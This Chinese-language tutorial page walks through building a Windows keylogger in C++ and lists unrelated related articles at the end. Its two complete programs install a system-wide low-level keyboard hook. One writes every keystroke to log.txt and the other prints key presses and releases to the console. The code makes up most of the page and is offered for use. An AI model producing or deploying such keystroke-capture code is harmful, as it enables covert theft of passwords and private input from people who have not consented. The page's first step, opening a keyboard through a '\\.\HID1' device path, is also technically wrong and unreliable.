C++键盘记录程序代码

C++键盘记录程序代码攻略

简介

键盘记录程序可以记录用户在键盘上输入的所有内容,包括敲击的键和输入的文字。在开发键盘记录程序时,我们需要了解底层的键盘输入原理和如何获取键盘输入事件。在本文中,我们将演示如何使用C++语言编写一个简单的键盘记录程序。

实现步骤

步骤1:打开键盘输入设备

在Windows操作系统中,键盘输入设备通常被称为“HID(Human Interface Device)”,我们可以通过调用Windows API中的CreateFile函数来打开与HID设备对应的文件。具体步骤如下:

HANDLE keyboard = CreateFile(L"\\\\.\\HID1", GENERIC_READ | GENERIC_WRITE,
     0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

在上述代码中,我们创建了一个名为keyboard的文件句柄,用来打开已连接到计算机上的第一个HID设备。如果计算机上有多个HID设备,则可以使用\\\\.\\HID2\\\\.\\HID3等方式来逐个打开。

步骤2:获取键盘输入事件

接下来,我们需要获取键盘输入事件。在Windows操作系统中,键盘输入事件被处理为消息(Message)。我们可以使用GetMessage函数从Windows消息队列中获取消息。具体代码如下:

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

在上述代码中,我们创建了一个名为msg的结构体,用于保存从消息队列中获取的消息。使用GetMessage函数循环等待键盘消息,当有消息到来时,我们使用TranslateMessage函数将该消息翻译为字符消息,并使用DispatchMessage函数将该消息发送到消息处理函数中进行处理。

步骤3:处理键盘输入事件

最后一步是对获取的键盘输入事件进行处理。Windows操作系统将键盘输入事件转换为按键消息和字符消息,我们可以通过消息处理函数来捕获这些消息。具体代码如下:

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
   PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
   if (nCode == HC_ACTION) {
       switch (wParam) {
           case WM_KEYDOWN:
           case WM_SYSKEYDOWN:
               printf("Key down: %x\n", p->vkCode);
               break;
           case WM_KEYUP:
           case WM_SYSKEYUP:
               printf("Key up: %x\n", p->vkCode);
               break;
           default:
               break;
       }
   }
   return CallNextHookEx(NULL, nCode, wParam, lParam);
}

在上述代码中,我们创建了一个名为KeyboardProc的函数作为消息处理函数,该函数捕获了键盘输入事件并在控制台输出了按下和松开的按键的虚拟键码vkCode

示例代码

下面给出两个示例代码来演示如何使用C++语言实现键盘记录程序。

示例1:记录键盘输入到文件中

本例中,我们将通过键盘输入事件来记录用户输入信息,并将其写入到文件log.txt中。具体实现代码如下:

#include <Windows.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "user32.lib")

std::ofstream ofs;

LRESULT CALLBACK keyboardHook(int code, WPARAM wParam, LPARAM lParam) {
    if (code == HC_ACTION) {
        KBDLLHOOKSTRUCT* kbDllHookStruct = (KBDLLHOOKSTRUCT*)lParam;
        if (kbDllHookStruct->vkCode == VK_RETURN || kbDllHookStruct->vkCode == VK_BACK) {
            ofs << std::endl;
        }
        else {
            std::string outStr;
            char key = (char)MapVirtualKey(kbDllHookStruct->vkCode, 2);
            std::cout << key << std::flush;
            ofs << key << std::flush;
        }
    }
    return CallNextHookEx(NULL, code, wParam, lParam);
}

int main() {
    ofs.open("log.txt", std::ofstream::out | std::ofstream::trunc);
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHook, NULL, 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0));
    UnhookWindowsHookEx(keyboard);
    ofs.close();
}

在上述代码中,我们定义了一个名为keyboardHook的函数作为键盘消息处理函数,它会将获取到的键盘输入事件写入到文件log.txt中。文件句柄ofs定义在全局作用域中,用来实现对文件的写入操作。

示例2:键盘按键监控

本例中,我们将演示如何使用C++语言编写一个键盘按键监控程序。具体实现代码如下:

#include <Windows.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "user32.lib")

HHOOK keyboardHookHandle;

LRESULT CALLBACK keyboardHook(int code, WPARAM wParam, LPARAM lParam) {
    KBDLLHOOKSTRUCT* kbDllHookStruct = (KBDLLHOOKSTRUCT*)lParam;
    int vkey = kbDllHookStruct->vkCode;
    if (code == HC_ACTION) {
        if (wParam == WM_KEYDOWN) {
            std::cout << "press ";
            if (vkey == VK_RETURN) {
                std::cout << "ENTER";
            }
            else {
                BYTE state[256];
                GetKeyboardState(state);
                char ret[256];
                if (ToAscii(vkey, kbDllHookStruct->scanCode, state, (LPWORD)ret, 0) > 0) {
                    std::cout << ret;
                }
            }
            std::cout << std::endl;
        }
        else if (wParam == WM_KEYUP) {
            std::cout << "release ";
            if (vkey == VK_RETURN) {
                std::cout << "ENTER";
            }
            else {
                BYTE state[256];
                GetKeyboardState(state);
                char ret[256];
                if (ToAscii(vkey, kbDllHookStruct->scanCode, state, (LPWORD)ret, 0) > 0) {
                    std::cout << ret;
                }
            }
            std::cout << std::endl;
        }
    }
    return CallNextHookEx(keyboardHookHandle, code, wParam, lParam);
}

int main() {
    keyboardHookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHook, GetModuleHandle(NULL), 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0));
    UnhookWindowsHookEx(keyboardHookHandle);
    return 0;
}

在上述代码中,我们定义了一个名为keyboardHook的函数作为键盘消息处理函数,它可以监控键盘输入事件、按键按下和松开的动作,并将这些信息输出到控制台。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:C++键盘记录程序代码 - Python技术站

(0)
上一篇 2023年5月23日
下一篇 2023年5月23日

相关文章

  • C语言实现Floyd算法

    C语言实现Floyd算法 什么是Floyd算法 Floyd算法是一种用于寻找给定的加权图中多源点之间最短路径的算法,也称为Floyd-Warshall算法。 其时间复杂度为O(N^3),适用于需要求解所有顶点对间最短路径的场景。 算法思路 Floyd算法的思路是利用动态规划的思想,通过逐步考虑添加中间顶点的方式来逐步求得顶点对间的最短路径。 也就是说,我们首…

    C 2023年5月22日
    00
  • 电脑蓝屏DMP文件在哪? win10dmp蓝屏文件的打开方法

    电脑蓝屏DMP文件在哪? win10dmp蓝屏文件的打开方法 当我们的电脑系统遭遇蓝屏时,电脑会自动生成一个.DMP文件,该文件内含有电脑蓝屏时相关的信息和错误代码。在解决蓝屏问题时,查看.DMP文件可以帮助我们更快地找到问题所在。本文将讲解.DMP文件的查找以及如何打开.DMP文件。 查找.DMP文件位置 打开文件资源管理器,点击“电脑”(或者“此电脑”,…

    C 2023年5月24日
    00
  • C++中的string类(C++字符串)入门完全攻略

    下面是C++中的string类(C++字符串)入门完全攻略的详细讲解: 1. 什么是string类? string类是C++标准库提供的用于处理字符串的类,它提供了许多方便的方法来操作字符串,比如字符串的拼接、查找、替换等等,使得C++中的字符串处理变得更加轻松和高效。 2. string类的基本用法 (1)字符串的定义和初始化 在使用string类之前,可…

    C 2023年5月22日
    00
  • C#统计C、C++及C#程序代码行数的方法

    C#统计C、C++及C#程序代码行数的方法 概述 本文将介绍如何使用C#编写程序来统计C、C++以及C#程序的代码行数,具体步骤如下: 选择要统计代码行数的目录 遍历目录下所有的源代码文件 逐行读取文件内容,并统计代码行数 依赖项 在开始编写程序前,需要将以下依赖项添加到项目中: using System.IO; // IO操作类 using System.…

    C 2023年5月23日
    00
  • C 程序 二进制转换为十进制

    C程序 二进制转换为十进制使用攻略 1. 程序说明 本程序是用C语言编写的二进制转十进制的代码。它能够将一个二进制数转为与之对应的十进制数。 2. 程序使用 2.1 代码说明 程序主要包含了两个部分:函数定义和函数调用。其中函数定义部分包括二进制转十进制的核心函数binaryToDecimal(),该函数的详细定义和使用说明如下: int binaryToD…

    C 2023年5月9日
    00
  • 内存的存储及其存储方式

    1. 内存存储2. 内存存储的方式3.为什么要有大小端模式的区分4.判断大小端模式 1.内存的存储:内存是由低地址向高地址进行存储。(即我们个位数为低地址位,而百,千位为高地址数) 为方便理解我们定义了一个变量a,如下 vs上方窗口栏:调试–>窗口–>内存–>内存1 在地址处输入&a,取a的地址 内存存储总结:我们可以看到数据…

    C语言 2023年4月18日
    00
  • C语言基于EasyX实现贪吃蛇

    C语言基于EasyX实现贪吃蛇攻略 1. 前置要求 需要具备一定的 C 语言编程和 EasyX 开发的基本知识,以及掌握贪吃蛇的游戏规则和基本操作。 2. 环境搭建 需要安装Visual Studio 2010及以上版本、EasyX图形库和EasyX官方Visual Studio插件。其中EasyX图形库可以从官方网站下载:https://www.easyx…

    C 2023年5月23日
    00
  • C++和C的混合编译的项目实践

    下面是关于C++和C的混合编译的项目实践的攻略: 1. 项目背景与说明 在实际项目中,往往存在着C++和C代码混编的需求。比如说,C代码部分用于CPU的中断处理,C++代码部分用于其他系统功能的实现等等。 在实现混合编译的过程中,一定要注意两者的语法规则和编译器的选择问题。 2. 项目实践步骤 2.1 确定混合编译的文件目录结构 project |–inc…

    C 2023年5月23日
    00
合作推广
合作推广
分享本页
返回顶部